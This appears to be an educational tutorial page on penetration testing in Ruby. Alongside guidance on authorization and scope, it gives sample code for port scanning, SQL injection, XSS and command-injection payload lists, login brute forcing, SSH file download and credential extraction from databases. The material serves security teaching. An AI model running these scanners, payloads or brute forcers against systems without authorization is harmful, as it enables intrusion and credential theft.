CrackedRuby CrackedRuby

Penetration Testing Basics

Overview

Penetration testing, often called pentesting or ethical hacking, is a structured approach to evaluating the security of computer systems, networks, and applications by simulating real-world attacks. This proactive security measure identifies vulnerabilities before malicious actors can exploit them. Unlike vulnerability scanning which merely identifies potential weaknesses, penetration testing actively attempts to exploit those weaknesses to determine their actual impact on system security.

The practice originated in the 1960s and 1970s when computer security researchers began testing systems for exploitable flaws. Modern penetration testing has evolved into a formalized discipline with established methodologies, legal frameworks, and professional certifications. Organizations conduct penetration tests to comply with regulatory requirements, validate security controls, and maintain their security posture.

Penetration testing differs from other security assessments in scope and depth. A vulnerability assessment identifies potential issues, a security audit verifies compliance with policies, but penetration testing actively exploits vulnerabilities to determine exploitability and business impact. The process requires explicit written authorization and operates within defined boundaries to avoid legal complications.

Ruby has become a significant language in the penetration testing community, primarily because the Metasploit Framework, one of the most widely used penetration testing platforms, is written in Ruby. This creates opportunities for security professionals to develop custom exploits, auxiliary modules, and post-exploitation tools using Ruby's expressive syntax and rich library ecosystem.

# Basic port scanning example
require 'socket'

def scan_port(host, port)
  begin
    socket = Socket.new(:INET, :STREAM)
    sockaddr = Socket.sockaddr_in(port, host)
    socket.connect_nonblock(sockaddr)
  rescue Errno::EINPROGRESS
    # Connection in progress
    IO.select(nil, [socket], nil, 2)
    begin
      socket.connect_nonblock(sockaddr)
    rescue Errno::EISCONN
      return true  # Port is open
    rescue
      return false
    end
  rescue
    return false
  ensure
    socket.close if socket
  end
end

# Scan common ports
['192.168.1.1'].each do |host|
  [22, 80, 443, 3306].each do |port|
    if scan_port(host, port)
      puts "#{host}:#{port} - OPEN"
    end
  end
end

Key Principles

Penetration testing operates on several fundamental principles that distinguish it from malicious hacking. Authorization forms the cornerstone of ethical penetration testing. Every engagement requires explicit written permission from authorized representatives of the target organization. This legal authorization defines the scope, timing, methods, and limitations of the assessment.

The principle of least privilege applies to penetration testing access. Testers should operate with the minimum level of access necessary to complete their objectives, escalating privileges only when required to demonstrate specific attack scenarios. This approach mirrors how actual attackers progress through compromised systems.

Scope definition establishes clear boundaries for testing activities. The scope document specifies target systems, IP ranges, applications, time windows, and prohibited actions. Testing outside the defined scope can result in legal liability and damage to systems not prepared for security assessments. Scope creep, where testing extends beyond agreed boundaries, must be avoided through careful documentation and communication.

The chain of custody principle requires meticulous documentation of all testing activities. Testers maintain detailed logs of commands executed, vulnerabilities discovered, exploitation attempts, and data accessed. This documentation serves multiple purposes: proving the test occurred as specified, providing evidence for security findings, and protecting the tester from allegations of unauthorized activity.

Confidentiality and data handling protocols govern how testers manage sensitive information encountered during assessments. Penetration testers often gain access to confidential business data, personally identifiable information, or credentials. Proper handling includes secure storage, limited access, and complete destruction after the engagement concludes.

The principle of minimal impact requires testers to avoid disrupting business operations unless explicitly authorized and necessary to demonstrate risk. Denial of service attacks, data destruction, and system modifications should be carefully considered and often simulated rather than executed. When potentially disruptive tests are necessary, they should occur during maintenance windows or in isolated test environments.

Methodology consistency ensures repeatable and comprehensive testing. Established frameworks like OWASP Testing Guide, PTES (Penetration Testing Execution Standard), and NIST SP 800-115 provide structured approaches covering reconnaissance, scanning, vulnerability analysis, exploitation, post-exploitation, and reporting phases.

# Enumeration example - gathering system information
require 'net/http'
require 'uri'

class WebEnumerator
  def initialize(target_url)
    @target = URI.parse(target_url)
  end

  def enumerate_server
    response = Net::HTTP.get_response(@target)
    
    {
      server: response['server'],
      powered_by: response['x-powered-by'],
      headers: response.to_hash,
      status: response.code,
      cookies: response.get_fields('set-cookie')
    }
  end

  def check_common_files
    common_files = [
      '/robots.txt',
      '/.git/config',
      '/admin',
      '/backup',
      '/.env'
    ]
    
    found_files = []
    common_files.each do |file|
      uri = URI.join(@target.to_s, file)
      response = Net::HTTP.get_response(uri)
      found_files << file if response.code.to_i < 400
    end
    found_files
  end
end

# Usage
enumerator = WebEnumerator.new('http://example.com')
info = enumerator.enumerate_server
# => {:server=>"nginx", :powered_by=>nil, ...}

Ruby Implementation

Ruby provides multiple approaches for implementing penetration testing tools and techniques. The language's socket programming capabilities, HTTP client libraries, and string manipulation features make it suitable for network reconnaissance, web application testing, and exploit development.

Network reconnaissance in Ruby leverages the socket library for low-level network operations. The Socket class provides access to TCP, UDP, and raw sockets, enabling port scanning, banner grabbing, and protocol analysis. Ruby's concurrency features through threads allow parallel scanning of multiple targets, improving efficiency during large-scale assessments.

require 'socket'
require 'timeout'

class NetworkScanner
  def initialize(targets, ports, timeout: 1)
    @targets = targets
    @ports = ports
    @timeout = timeout
    @results = {}
  end

  def scan
    threads = []
    
    @targets.each do |target|
      @ports.each do |port|
        threads << Thread.new do
          result = check_port(target, port)
          @results["#{target}:#{port}"] = result if result[:open]
        end
      end
    end
    
    threads.each(&:join)
    @results
  end

  private

  def check_port(host, port)
    begin
      Timeout.timeout(@timeout) do
        socket = TCPSocket.new(host, port)
        banner = socket.recv(1024).strip
        socket.close
        { open: true, banner: banner, service: identify_service(port, banner) }
      end
    rescue Timeout::Error, Errno::ECONNREFUSED, Errno::EHOSTUNREACH
      { open: false }
    end
  end

  def identify_service(port, banner)
    case port
    when 22 then banner.match?(/SSH/) ? 'SSH' : 'Unknown'
    when 80, 8080 then 'HTTP'
    when 443 then 'HTTPS'
    when 3306 then 'MySQL'
    when 5432 then 'PostgreSQL'
    else 'Unknown'
    end
  end
end

# Scan multiple hosts
scanner = NetworkScanner.new(
  ['192.168.1.1', '192.168.1.2'],
  [22, 80, 443, 3306],
  timeout: 2
)
results = scanner.scan
# => {"192.168.1.1:22"=>{:open=>true, :banner=>"SSH-2.0-OpenSSH_7.9", :service=>"SSH"}}

Web application testing in Ruby utilizes HTTP client libraries like Net::HTTP, HTTParty, or Faraday. These libraries support custom headers, cookie management, and proxy configuration essential for web application assessments. Ruby's regular expressions facilitate response parsing and vulnerability pattern matching.

require 'net/http'
require 'uri'

class SQLInjectionTester
  PAYLOADS = [
    "' OR '1'='1",
    "' OR '1'='1' --",
    "' OR '1'='1' /*",
    "admin' --",
    "' UNION SELECT NULL--",
    "1' AND 1=1--",
    "1' AND 1=2--"
  ]

  def initialize(target_url, parameter)
    @target = URI.parse(target_url)
    @parameter = parameter
  end

  def test_injection
    vulnerable_payloads = []
    
    PAYLOADS.each do |payload|
      response = send_payload(payload)
      if analyze_response(response)
        vulnerable_payloads << payload
      end
    end
    
    {
      vulnerable: !vulnerable_payloads.empty?,
      payloads: vulnerable_payloads,
      severity: calculate_severity(vulnerable_payloads)
    }
  end

  private

  def send_payload(payload)
    uri = @target.dup
    params = URI.decode_www_form(uri.query || '')
    params << [@parameter, payload]
    uri.query = URI.encode_www_form(params)
    
    Net::HTTP.get_response(uri)
  end

  def analyze_response(response)
    error_patterns = [
      /SQL syntax.*MySQL/i,
      /Warning.*mysqli/i,
      /PostgreSQL.*ERROR/i,
      /SQLite.*error/i,
      /ORA-\d{5}/i
    ]
    
    error_patterns.any? { |pattern| response.body.match?(pattern) }
  end

  def calculate_severity(payloads)
    return :none if payloads.empty?
    payloads.length > 3 ? :high : :medium
  end
end

# Test for SQL injection
tester = SQLInjectionTester.new('http://example.com/search?q=test', 'q')
result = tester.test_injection
# => {:vulnerable=>true, :payloads=>["' OR '1'='1"], :severity=>:medium}

Password cracking and brute force attacks benefit from Ruby's string manipulation and file I/O capabilities. Ruby can efficiently process wordlists, generate password variations, and manage authentication attempts with proper rate limiting and error handling.

require 'net/http'
require 'json'

class BruteForceAttacker
  def initialize(target_url, username_field, password_field)
    @target = URI.parse(target_url)
    @username_field = username_field
    @password_field = password_field
    @delay = 0.5  # Rate limiting
  end

  def attack(username, wordlist_path)
    File.foreach(wordlist_path) do |password|
      password = password.chomp
      
      if attempt_login(username, password)
        return { success: true, password: password }
      end
      
      sleep(@delay)  # Rate limiting
    end
    
    { success: false }
  end

  private

  def attempt_login(username, password)
    http = Net::HTTP.new(@target.host, @target.port)
    request = Net::HTTP::Post.new(@target.path)
    request.set_form_data(
      @username_field => username,
      @password_field => password
    )
    
    response = http.request(request)
    
    # Check for successful login indicators
    !response.body.match?(/invalid|incorrect|failed/i) &&
      (response.code.to_i == 200 || response.code.to_i == 302)
  end
end

# Note: This is for educational purposes only
# Real implementations should include proper error handling and logging

Security Implications

Penetration testing carries significant security implications that extend beyond technical vulnerabilities. The legal framework governing authorized hacking distinguishes ethical penetration testing from criminal activity. Without proper authorization, even well-intentioned security testing violates computer fraud and abuse laws in most jurisdictions.

Authorization documents must specify exact scope boundaries, including IP addresses, domains, systems, and time windows. Verbal authorization is insufficient; written contracts with proper signatures from authorized representatives protect both the tester and the organization. The authorization should explicitly state which systems may be tested, which methods are permitted, and what actions are prohibited.

Data handling during penetration testing presents privacy and confidentiality concerns. Testers frequently encounter sensitive information including personally identifiable information, financial records, trade secrets, and authentication credentials. The engagement agreement should specify data handling requirements, including secure storage, access restrictions, and destruction procedures after engagement completion.

Third-party systems and cloud infrastructure introduce additional legal complexity. Organizations may not own or control all systems in their infrastructure. Testing cloud-hosted applications without provider permission can violate terms of service and potentially affect other customers sharing the same infrastructure. The scope document must clarify which third-party systems are included and confirm necessary permissions have been obtained.

Privilege escalation and lateral movement demonstrate real attack paths but risk system instability. Exploitation attempts can crash services, corrupt data, or trigger security alerts that interfere with normal operations. Testers must carefully consider the risk-reward tradeoff of each exploitation attempt and maintain detailed logs of all actions taken.

# Secure credential handling during pentesting
require 'openssl'
require 'base64'

class CredentialVault
  def initialize(master_password)
    @cipher = OpenSSL::Cipher.new('AES-256-CBC')
    @key = OpenSSL::PKCS5.pbkdf2_hmac(
      master_password,
      'penetration_test_salt',
      10000,
      @cipher.key_len,
      OpenSSL::Digest::SHA256.new
    )
    @credentials = {}
  end

  def store(identifier, credential)
    encrypted = encrypt(credential)
    @credentials[identifier] = encrypted
    write_log("Stored credential for #{identifier}")
  end

  def retrieve(identifier)
    encrypted = @credentials[identifier]
    return nil unless encrypted
    
    decrypt(encrypted)
  end

  def destroy_all
    @credentials.clear
    @key = nil
    write_log("All credentials destroyed")
  end

  private

  def encrypt(data)
    @cipher.encrypt
    @cipher.key = @key
    iv = @cipher.random_iv
    encrypted = @cipher.update(data) + @cipher.final
    Base64.strict_encode64(iv + encrypted)
  end

  def decrypt(encrypted_data)
    data = Base64.strict_decode64(encrypted_data)
    iv = data[0, @cipher.iv_len]
    encrypted = data[@cipher.iv_len..-1]
    
    @cipher.decrypt
    @cipher.key = @key
    @cipher.iv = iv
    @cipher.update(encrypted) + @cipher.final
  end

  def write_log(message)
    File.open('pentest_audit.log', 'a') do |f|
      f.puts "[#{Time.now.iso8601}] #{message}"
    end
  end
end

# Usage during engagement
vault = CredentialVault.new('master_password_from_secure_source')
vault.store('admin_ssh', 'compromised_password')
# ... testing activities ...
vault.destroy_all  # After engagement completion

False positives and exploitation validation require careful verification. Automated tools frequently report vulnerabilities that do not represent actual security risks. Testers must validate findings through manual verification, understanding the specific context and configuration of target systems. Reporting unverified vulnerabilities wastes remediation resources and damages credibility.

Responsible disclosure practices govern how testers communicate findings. The timing and method of disclosure can significantly impact security outcomes. Immediate public disclosure before remediation puts systems at risk, while excessive delays leave vulnerabilities unpatched. Most engagements follow coordinated disclosure where findings are reported to the organization with reasonable time for remediation before any public announcement.

Social engineering and physical security testing introduce additional ethical considerations. While these techniques reflect realistic attack scenarios, they can damage employee morale and create legal liability if not properly authorized and conducted. Physical intrusion testing requires explicit authorization and coordination with security personnel to avoid misunderstandings that could result in arrest or injury.

Tools & Ecosystem

The Ruby penetration testing ecosystem centers around the Metasploit Framework, the most widely adopted penetration testing platform. Metasploit provides an extensive collection of exploits, auxiliary modules, payloads, and post-exploitation tools. Written primarily in Ruby, Metasploit offers a framework for developing custom security testing modules using Ruby's expressive syntax.

The Metasploit Framework architecture consists of several key components. The Rex library provides fundamental networking and protocol implementations. The Msf::Core module handles framework initialization and module management. Individual exploits, auxiliary modules, and payloads extend base classes to implement specific functionality. This architecture allows security researchers to develop new capabilities by writing Ruby classes that integrate seamlessly with the framework.

# Example Metasploit auxiliary module structure
require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Custom Port Scanner',
      'Description' => 'Scans for open ports',
      'Author'      => 'Security Researcher',
      'License'     => MSF_LICENSE
    ))

    register_options([
      Opt::RPORT(80),
      OptString.new('PORTS', [true, 'Ports to scan', '80,443,8080'])
    ])
  end

  def run_host(ip)
    ports = datastore['PORTS'].split(',').map(&:to_i)
    
    ports.each do |port|
      begin
        connect(true, {'RPORT' => port})
        print_good("#{ip}:#{port} - OPEN")
        disconnect
      rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError
        print_error("#{ip}:#{port} - CLOSED")
      end
    end
  end
end

Ruby gems provide additional penetration testing capabilities beyond Metasploit. The ronin framework offers a Ruby platform for exploit development, malware analysis, and security research. Ronin includes libraries for binary analysis, web scraping, fuzzing, and exploit generation. Its modular design allows researchers to combine components for custom security tools.

Network protocol implementation gems support various penetration testing scenarios. The net-ssh gem implements the SSH protocol for remote command execution and file transfer. The net-snmp gem enables SNMP enumeration for network device reconnaissance. The packetfu gem provides packet crafting capabilities for custom network protocol analysis and exploitation.

# Network reconnaissance using Ruby gems
require 'net/ssh'
require 'net/scp'

class SSHEnumerator
  def initialize(host, username, password)
    @host = host
    @username = username
    @password = password
  end

  def gather_system_info
    commands = {
      os_info: 'uname -a',
      users: 'cat /etc/passwd',
      network: 'ifconfig -a',
      processes: 'ps aux',
      cron_jobs: 'crontab -l'
    }
    
    results = {}
    
    Net::SSH.start(@host, @username, password: @password) do |ssh|
      commands.each do |key, cmd|
        begin
          results[key] = ssh.exec!(cmd)
        rescue => e
          results[key] = "Error: #{e.message}"
        end
      end
    end
    
    results
  end

  def exfiltrate_file(remote_path, local_path)
    Net::SCP.start(@host, @username, password: @password) do |scp|
      scp.download!(remote_path, local_path)
    end
  end
end

# Usage after successful compromise
enum = SSHEnumerator.new('192.168.1.100', 'compromised_user', 'found_password')
info = enum.gather_system_info
# => {:os_info=>"Linux hostname 5.4.0-42-generic", :users=>"root:x:0:0..."}

Web application testing benefits from Ruby's HTTP client gems. The httparty gem provides a simple interface for HTTP requests with automatic parsing and retry logic. The mechanize gem offers a higher-level API for web scraping and form automation, useful for authenticated testing scenarios. The capybara gem, typically used for browser automation testing, can be adapted for web application security testing.

Database interaction gems support SQL injection testing and post-exploitation database enumeration. The pg gem implements PostgreSQL protocol communication, mysql2 connects to MySQL databases, and sequel provides a database toolkit abstraction layer. These gems allow direct database interaction after successful SQL injection or credential compromise.

require 'sequel'

class DatabaseEnumerator
  def initialize(connection_string)
    @db = Sequel.connect(connection_string)
  end

  def enumerate_schema
    tables = @db.tables
    
    schema_info = tables.map do |table|
      {
        table: table,
        columns: @db.schema(table),
        row_count: @db[table].count
      }
    end
    
    schema_info
  end

  def extract_credentials
    credentials = []
    
    # Common table names that might contain credentials
    potential_tables = ['users', 'accounts', 'members', 'admins']
    
    potential_tables.each do |table_name|
      next unless @db.table_exists?(table_name)
      
      @db[table_name.to_sym].each do |row|
        credentials << extract_user_data(row)
      end
    end
    
    credentials
  end

  private

  def extract_user_data(row)
    {
      username: row[:username] || row[:email] || row[:login],
      password_hash: row[:password] || row[:password_hash] || row[:passwd],
      email: row[:email],
      role: row[:role] || row[:privilege] || row[:access_level]
    }
  end
end

# Post-exploitation database enumeration
# Note: Only use with explicit authorization
db = DatabaseEnumerator.new('postgres://compromised:password@192.168.1.100/app_db')
schema = db.enumerate_schema
# => [{:table=>:users, :columns=>[[:id, {:type=>:integer}], ...], :row_count=>1500}]

Practical Examples

Reconnaissance represents the initial phase of penetration testing where testers gather information about target systems. This phase establishes the foundation for subsequent testing by identifying attack surface, technology stack, and potential entry points.

require 'resolv'
require 'net/http'
require 'json'

class ReconnaissanceEngine
  def initialize(target_domain)
    @domain = target_domain
    @resolver = Resolv::DNS.new
  end

  def perform_dns_enumeration
    record_types = [
      Resolv::DNS::Resource::IN::A,
      Resolv::DNS::Resource::IN::AAAA,
      Resolv::DNS::Resource::IN::MX,
      Resolv::DNS::Resource::IN::NS,
      Resolv::DNS::Resource::IN::TXT,
      Resolv::DNS::Resource::IN::SOA
    ]
    
    dns_records = {}
    
    record_types.each do |type|
      begin
        records = @resolver.getresources(@domain, type)
        dns_records[type.name] = records.map do |record|
          case record
          when Resolv::DNS::Resource::IN::A
            record.address.to_s
          when Resolv::DNS::Resource::IN::MX
            "#{record.preference} #{record.exchange}"
          when Resolv::DNS::Resource::IN::TXT
            record.data
          else
            record.to_s
          end
        end
      rescue Resolv::ResolvError
        dns_records[type.name] = []
      end
    end
    
    dns_records
  end

  def enumerate_subdomains(wordlist)
    discovered_subdomains = []
    
    wordlist.each do |subdomain|
      fqdn = "#{subdomain}.#{@domain}"
      begin
        addresses = @resolver.getaddresses(fqdn)
        if addresses.any?
          discovered_subdomains << {
            subdomain: fqdn,
            addresses: addresses.map(&:to_s)
          }
        end
      rescue Resolv::ResolvError
        # Subdomain doesn't exist
      end
    end
    
    discovered_subdomains
  end

  def fingerprint_web_server(url)
    uri = URI.parse(url)
    response = Net::HTTP.get_response(uri)
    
    {
      server: response['server'],
      powered_by: response['x-powered-by'],
      framework: detect_framework(response),
      cookies: parse_cookies(response.get_fields('set-cookie')),
      security_headers: check_security_headers(response)
    }
  end

  private

  def detect_framework(response)
    frameworks = {
      'Rails' => response['x-powered-by']&.include?('Phusion Passenger'),
      'Laravel' => response.body.include?('laravel'),
      'Django' => response['server']&.include?('WSGIServer'),
      'Express' => response['x-powered-by']&.include?('Express')
    }
    
    frameworks.select { |k, v| v }.keys
  end

  def parse_cookies(cookies)
    return [] unless cookies
    
    cookies.map do |cookie|
      parts = cookie.split(';').map(&:strip)
      name_value = parts.first.split('=', 2)
      {
        name: name_value[0],
        secure: parts.include?('Secure'),
        httponly: parts.include?('HttpOnly'),
        samesite: parts.find { |p| p.start_with?('SameSite') }
      }
    end
  end

  def check_security_headers(response)
    security_headers = [
      'strict-transport-security',
      'content-security-policy',
      'x-frame-options',
      'x-content-type-options',
      'x-xss-protection'
    ]
    
    security_headers.each_with_object({}) do |header, result|
      result[header] = response[header] || 'MISSING'
    end
  end
end

# Comprehensive reconnaissance
recon = ReconnaissanceEngine.new('example.com')
dns_info = recon.perform_dns_enumeration
subdomains = recon.enumerate_subdomains(['www', 'mail', 'admin', 'api', 'dev'])
web_fingerprint = recon.fingerprint_web_server('https://example.com')

Web application vulnerability assessment requires systematic testing of input validation, authentication mechanisms, session management, and authorization controls. This example demonstrates testing for common web vulnerabilities including cross-site scripting and command injection.

require 'net/http'
require 'cgi'

class WebVulnerabilityScanner
  XSS_PAYLOADS = [
    '<script>alert(1)</script>',
    '<img src=x onerror=alert(1)>',
    '"><script>alert(1)</script>',
    'javascript:alert(1)',
    '<svg onload=alert(1)>'
  ]

  COMMAND_INJECTION_PAYLOADS = [
    '; ls -la',
    '| cat /etc/passwd',
    '`whoami`',
    '$(id)',
    '& ping -c 3 127.0.0.1'
  ]

  def initialize(target_url)
    @target = URI.parse(target_url)
  end

  def test_xss(parameter)
    vulnerabilities = []
    
    XSS_PAYLOADS.each do |payload|
      response = send_request(parameter, payload)
      
      if response.body.include?(payload) && !payload_escaped?(response.body, payload)
        vulnerabilities << {
          type: 'Reflected XSS',
          parameter: parameter,
          payload: payload,
          severity: calculate_xss_severity(payload, response)
        }
      end
    end
    
    vulnerabilities
  end

  def test_command_injection(parameter)
    baseline_response = send_request(parameter, 'baseline')
    baseline_time = measure_response_time { send_request(parameter, 'baseline') }
    
    vulnerabilities = []
    
    COMMAND_INJECTION_PAYLOADS.each do |payload|
      response_time = measure_response_time { send_request(parameter, payload) }
      response = send_request(parameter, payload)
      
      # Time-based detection
      if response_time > baseline_time + 2.0
        vulnerabilities << {
          type: 'Time-based Command Injection',
          parameter: parameter,
          payload: payload,
          time_difference: response_time - baseline_time,
          severity: :critical
        }
      end
      
      # Content-based detection
      if contains_command_output?(response.body)
        vulnerabilities << {
          type: 'Command Injection with Output',
          parameter: parameter,
          payload: payload,
          evidence: extract_evidence(response.body),
          severity: :critical
        }
      end
    end
    
    vulnerabilities
  end

  def test_authentication_bypass
    bypass_attempts = [
      { username: "admin' OR '1'='1", password: "anything" },
      { username: "admin' --", password: "" },
      { username: "admin", password: "' OR '1'='1" }
    ]
    
    bypass_attempts.each do |credentials|
      response = attempt_login(credentials)
      
      if successful_login?(response)
        return {
          vulnerable: true,
          bypass_method: credentials,
          response_code: response.code,
          severity: :critical
        }
      end
    end
    
    { vulnerable: false }
  end

  private

  def send_request(parameter, value)
    uri = @target.dup
    params = URI.decode_www_form(uri.query || '')
    params << [parameter, value]
    uri.query = URI.encode_www_form(params)
    
    Net::HTTP.get_response(uri)
  end

  def measure_response_time
    start_time = Time.now
    yield
    Time.now - start_time
  end

  def payload_escaped?(content, payload)
    escaped_versions = [
      CGI.escapeHTML(payload),
      CGI.escape(payload),
      payload.gsub('<', '&lt;').gsub('>', '&gt;')
    ]
    
    escaped_versions.any? { |escaped| content.include?(escaped) }
  end

  def contains_command_output?(body)
    indicators = [
      /root:.*:0:0:/,           # /etc/passwd content
      /uid=\d+.*gid=\d+/,       # id command output
      /PING.*bytes of data/,     # ping command
      /total \d+/                # ls command
    ]
    
    indicators.any? { |pattern| body.match?(pattern) }
  end

  def calculate_xss_severity(payload, response)
    if response.body.match?(/<script[^>]*>/) && !response['x-xss-protection']
      :high
    elsif payload.include?('onerror') || payload.include?('onload')
      :medium
    else
      :low
    end
  end

  def extract_evidence(body)
    body.lines.first(5).join("\n")
  end

  def attempt_login(credentials)
    http = Net::HTTP.new(@target.host, @target.port)
    request = Net::HTTP::Post.new('/login')
    request.set_form_data(credentials)
    http.request(request)
  end

  def successful_login?(response)
    response.code.to_i == 302 || 
      response.body.include?('Welcome') ||
      response.body.include?('Dashboard')
  end
end

# Comprehensive web application testing
scanner = WebVulnerabilityScanner.new('http://testsite.com/search')
xss_vulns = scanner.test_xss('q')
cmd_vulns = scanner.test_command_injection('file')
auth_result = scanner.test_authentication_bypass

Common Pitfalls

Scope violation represents one of the most severe mistakes in penetration testing. Testing systems outside the authorized scope can result in criminal charges, civil liability, and termination of professional relationships. Scope creep occurs when testers discover interconnected systems and expand testing without additional authorization. Every new system or IP address discovered requires explicit verification against the scope document.

Insufficient documentation during testing creates problems for both testers and clients. Without detailed logs of commands executed, timestamps, and results obtained, reproducing findings becomes difficult. Documentation proves that testing occurred as authorized and provides evidence for legal protection if disputes arise. Testers should log every significant action, including failed attempts and dead ends encountered during testing.

# Proper audit logging for penetration testing activities
require 'logger'
require 'json'

class PentestAuditor
  def initialize(engagement_id, tester_name)
    @engagement_id = engagement_id
    @tester_name = tester_name
    @logger = Logger.new("pentest_#{engagement_id}.log")
    @logger.formatter = proc do |severity, datetime, progname, msg|
      {
        timestamp: datetime.iso8601,
        engagement: @engagement_id,
        tester: @tester_name,
        severity: severity,
        message: msg
      }.to_json + "\n"
    end
  end

  def log_scan(target, scan_type, parameters)
    @logger.info({
      action: 'scan',
      target: target,
      scan_type: scan_type,
      parameters: parameters
    }.to_json)
  end

  def log_exploitation_attempt(target, vulnerability, payload, success)
    @logger.warn({
      action: 'exploitation',
      target: target,
      vulnerability: vulnerability,
      payload: payload,
      success: success
    }.to_json)
  end

  def log_access(system, access_level, credentials_used)
    @logger.warn({
      action: 'access_granted',
      system: system,
      access_level: access_level,
      credentials: credentials_used ? 'compromised' : 'default'
    }.to_json)
  end

  def log_data_access(file_path, action)
    @logger.error({
      action: 'data_access',
      file: file_path,
      operation: action,
      justification: 'Required for impact demonstration'
    }.to_json)
  end
end

# Usage throughout engagement
auditor = PentestAuditor.new('ENGAGE-2024-001', 'security_tester')
auditor.log_scan('192.168.1.0/24', 'port_scan', ports: '1-65535')
auditor.log_exploitation_attempt(
  '192.168.1.50',
  'SQL Injection',
  "' OR 1=1--",
  true
)

Inadequate rate limiting during automated testing can trigger defensive mechanisms or cause service disruption. Aggressive scanning and brute force attacks without proper throttling may overload target systems, trigger intrusion detection systems, or violate terms of engagement. Professional penetration testers implement delays between requests and monitor system responsiveness to avoid accidental denial of service.

Failing to verify findings before reporting creates unnecessary remediation work and damages tester credibility. Automated scanning tools generate many false positives that require manual verification. A reported SQL injection vulnerability that cannot be exploited or a cross-site scripting issue that only works in specific browser configurations wastes development resources and diminishes report value.

Improper cleanup after testing leaves systems in compromised states. Testers may create backdoor accounts, upload web shells, modify configurations, or install tools during testing. Comprehensive cleanup procedures should remove all artifacts, restore modified settings, and document any permanent changes that could not be reversed. Engagement contracts should specify cleanup responsibilities and timelines.

Overestimating exploitation capabilities leads to incomplete assessments. Successfully exploiting a vulnerability requires understanding the specific environment, configurations, and defensive measures in place. Theoretical vulnerabilities from CVE databases may not be exploitable in the target environment due to compensating controls, configuration differences, or version-specific mitigations. Testers should distinguish between theoretical risk and demonstrated exploitability.

Neglecting permission boundaries during privilege escalation can damage systems or violate scope. After gaining initial access, testers often attempt privilege escalation to demonstrate full compromise potential. However, some privilege escalation techniques involve kernel exploits or system modifications that risk crashes or data corruption. The testing methodology should define acceptable privilege escalation techniques and require approval for potentially destructive methods.

Mishandling credentials and sensitive data discovered during testing creates privacy and security risks. Testers routinely discover passwords, API keys, database credentials, and personally identifiable information. Proper handling requires secure storage during the engagement, limited access to only necessary personnel, and complete destruction after report delivery. Credentials should never be reused across different engagements or stored in unsecured locations.

Reporting style mistakes can undermine valuable technical findings. Overly technical reports that assume security expertise confuse business stakeholders who must approve remediation budgets. Conversely, reports lacking technical depth prevent development teams from understanding and fixing vulnerabilities. Effective reports include executive summaries for business audiences, detailed technical findings for security teams, and specific remediation guidance for developers.

Reference

Penetration Testing Phases

Phase Description Key Activities Duration
Planning Define scope, objectives, rules of engagement Contract negotiation, scope definition, authorization 5-10%
Reconnaissance Gather information about target DNS enumeration, OSINT, technology fingerprinting 15-20%
Scanning Identify active systems and vulnerabilities Port scanning, vulnerability scanning, service enumeration 10-15%
Exploitation Attempt to exploit identified vulnerabilities Exploit development, payload delivery, access gaining 20-30%
Post-Exploitation Assess impact and gather sensitive data Privilege escalation, lateral movement, data exfiltration 15-20%
Reporting Document findings and recommendations Report writing, evidence compilation, presentation 20-25%

Common Vulnerability Types

Vulnerability Description CVSS Severity Range Exploitation Complexity
SQL Injection Improper input validation in database queries 7.5-10.0 Low to Medium
Cross-Site Scripting Injection of malicious scripts in web pages 5.4-8.8 Low
Command Injection Execution of arbitrary system commands 8.8-10.0 Low to Medium
Authentication Bypass Circumventing authentication mechanisms 7.5-9.8 Medium to High
Path Traversal Unauthorized file system access 6.5-8.6 Low
CSRF Forcing users to execute unwanted actions 6.5-8.8 Medium
XXE XML External Entity injection 7.5-9.8 Medium
Insecure Deserialization Arbitrary code execution via object manipulation 8.8-10.0 High
SSRF Server-side request forgery 7.5-9.8 Medium
Privilege Escalation Gaining elevated system access 7.2-9.8 Medium to High

Ruby Penetration Testing Gems

Gem Purpose Key Features
metasploit-framework Comprehensive penetration testing platform Exploit modules, payloads, auxiliary scanners
ronin Security research platform Exploit development, malware analysis, fuzzing
packetfu Packet manipulation Craft custom network packets, protocol analysis
net-ssh SSH protocol implementation Remote command execution, file transfer
net-snmp SNMP protocol support Network device enumeration
httparty HTTP client Web application testing, API interaction
sequel Database toolkit Multi-database support, schema enumeration
openvas-omp OpenVAS integration Vulnerability scanning automation
nmap-parser Nmap output parsing Scan result analysis and processing

Network Port Reference

Port Service Common Vulnerabilities Testing Priority
21 FTP Anonymous access, clear text credentials High
22 SSH Weak credentials, outdated versions Critical
23 Telnet Clear text authentication, legacy protocols Critical
25 SMTP Open relay, user enumeration Medium
80 HTTP Web application vulnerabilities Critical
443 HTTPS SSL/TLS misconfigurations, certificate issues Critical
445 SMB EternalBlue, relay attacks Critical
1433 MSSQL Injection attacks, weak authentication High
3306 MySQL Default credentials, injection attacks High
3389 RDP Weak passwords, BlueKeep vulnerability Critical
5432 PostgreSQL Injection attacks, privilege escalation High
8080 HTTP Alt Web application vulnerabilities High

Authorization Document Checklist

Component Required Elements Purpose
Scope Definition IP ranges, domains, systems, applications Define test boundaries
Time Windows Start date, end date, allowed hours Schedule coordination
Authorized Personnel Names, roles, contact information Establish authority chain
Testing Methods Allowed techniques, prohibited actions Set methodology limits
Data Handling Storage requirements, destruction timeline Protect sensitive information
Communication Plan Escalation procedures, emergency contacts Incident response
Legal Terms Liability limitations, indemnification Risk management
Success Criteria Deliverables, reporting requirements Define engagement outcomes
Third-Party Systems Cloud services, vendors, external systems Clarify extended scope

OWASP Top 10 Mapping

OWASP Category Primary Testing Technique Ruby Implementation Approach
Broken Access Control Authorization testing, privilege escalation Net::HTTP with session manipulation
Cryptographic Failures SSL/TLS testing, encryption analysis OpenSSL gem analysis
Injection Payload fuzzing, input validation testing Parameter manipulation with CGI
Insecure Design Threat modeling, architecture review Business logic analysis
Security Misconfiguration Configuration enumeration HTTP header analysis, error messages
Vulnerable Components Version detection, CVE correlation Banner grabbing, response fingerprinting
Authentication Failures Credential attacks, session testing Brute force with rate limiting
Data Integrity Failures Deserialization testing Marshal, JSON, YAML analysis
Logging Failures Log injection, monitoring bypass Payload encoding and obfuscation
SSRF Internal service enumeration URI manipulation with Net::HTTP

Exploitation Success Criteria

Criteria Description Validation Method
Reproducibility Exploit works consistently across attempts Multiple successful executions
Impact Demonstration Clear evidence of security impact Screenshot, log output, data sample
Privilege Level Access level achieved User enumeration, permission check
Lateral Movement Ability to compromise additional systems Network access verification
Data Access Types of data accessible File system access, database queries
Persistence Ability to maintain access Backdoor installation, scheduled tasks
